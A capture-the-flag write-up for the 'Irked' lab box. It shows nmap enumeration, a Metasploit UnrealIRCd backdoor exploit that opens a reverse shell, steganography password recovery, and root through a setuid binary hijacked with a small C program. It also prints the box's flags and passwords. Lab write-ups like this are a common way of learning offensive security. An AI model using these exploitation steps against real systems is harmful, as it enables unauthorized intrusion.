Irked

10.10.10.117

User: 4a66a78b12dc0e661a59d3f5c0267a8e

Root: 8d8e9e8be64654b6dccc3bff4522daf2

My first step was to do some enumerating with NMAP to see what ports where open. Here where my results:

```
root@mothership:~/Documents/htb/boxes/complete/irked# nmap -p- -sV  10.10.10.117
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-07 22:04 GMT
Nmap scan report for 10.10.10.117
Host is up (0.033s latency).
Not shown: 65528 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
59465/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 229.96 seconds
```

From the following screenshots we see that the server is running an IRC network. UnrealIRCd is exploitable to a backdoor vulnerabilty. If we open up msfconsole and use the exploit/unix/irc/unreal_ircd_3281_backdoor exploit we should gain aceess to the IRC server. After setting the RHOST to 10.10.10.117 and RPORT to 6697 and typing exploit we get access !

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 10.10.14.164:4444
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
    :irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo lVMKH2XK8NjY6ZsK;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "lVMKH2XK8NjY6ZsK\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.10.14.164:4444 -> 10.10.10.117:54993) at 2019-02-07 22:14:09 +0000

ls
aliases
autoconf
badwords.channel.conf
```

After looking through the IRC server I found the we had access to the following user: djmardov. By going to /home/djmardov/Documents we find an important file called .backup. Inside .backup it has a password for some sort of steganography image.

```
ls -al
total 20
drwxr-xr-x  2 djmardov djmardov 4096 Feb  7 16:25 .
drwxr-xr-x 18 djmardov djmardov 4096 Feb  7 17:05 ..
-rw-r--r--  1 djmardov djmardov   52 May 16  2018 .backup
-rw-r--r--  1 djmardov djmardov 2161 Feb  7 16:25 passwd
-rw-------  1 djmardov djmardov   33 May 15  2018 user.txt
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
```

While looking round the server I found an image called irked.jpg in the /var/www/html directory. We can now use a tool called steghide which will extract data from the image using the password we found.

```
root@mothership:~/Documents/htb# steghide extract -sf irked.jpg
Enter passphrase:
wrote extracted data to "pass.txt".
root@mothership:~/Documents/htb# cat pass.txt
Kab6h+m+bbp2J:HG
```

I download the irked.jpg from the webserver and then proceeded to use the steghide command to extract the data. After entering the command it asks us to enter a passphrase. If you remember from earlier we had the super elite steg password. After entering the password we get given a file, and inside that file we have some sort of password. From earlier we found a user named djmardov,, SSH is open on this network so maybe this password is for this user? Success! We now have a shell for djmardov!

Privilege escalation

Privilege escalation on this box is as easy as it can be. We exploit a setuid binary to allow us to get a root shell. A setuid binary allows you to run applications with escalated privileges. Exploiting setuid binaries is a method in which you manage to get the program to execute commands as root. By doing the following find command it searches through the whole systems for files that have setuid permissions. It also prints all errors to /dev/null.

```
djmardov@irked:~$ find / -perm +4000 -user root -type f -print 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount
djmardov@irked:~$
```

After looking at the list the most intriguing one to me is viewusers. After running the application we get faced with the following:

```
djmardov@irked:~$ viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2018-12-16 09:36 (:0)
djmardov pts/0        2018-12-16 14:28 (10.10.14.20)
sh: 1: /tmp/listusers: not found
```

Notice how it says /tmp/listusers not found? If we create a .c file with these contents:

```
#include <stdio.h>

int main (void){

    setuid(0);  system("/bin/bash"); return 0;

}
```

Now execute gcc file.c -o listusers and place the binary into /tmp/listusers! Now rerun the viewuser command and we have root!

```
djmardov@irked:~$ viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2019-02-07 17:47 (:0)
djmardov pts/1        2019-02-07 17:51 (10.10.14.164)
root@irked:~# whoami; pwd;
root
/home/djmardov
root@irked:~#
```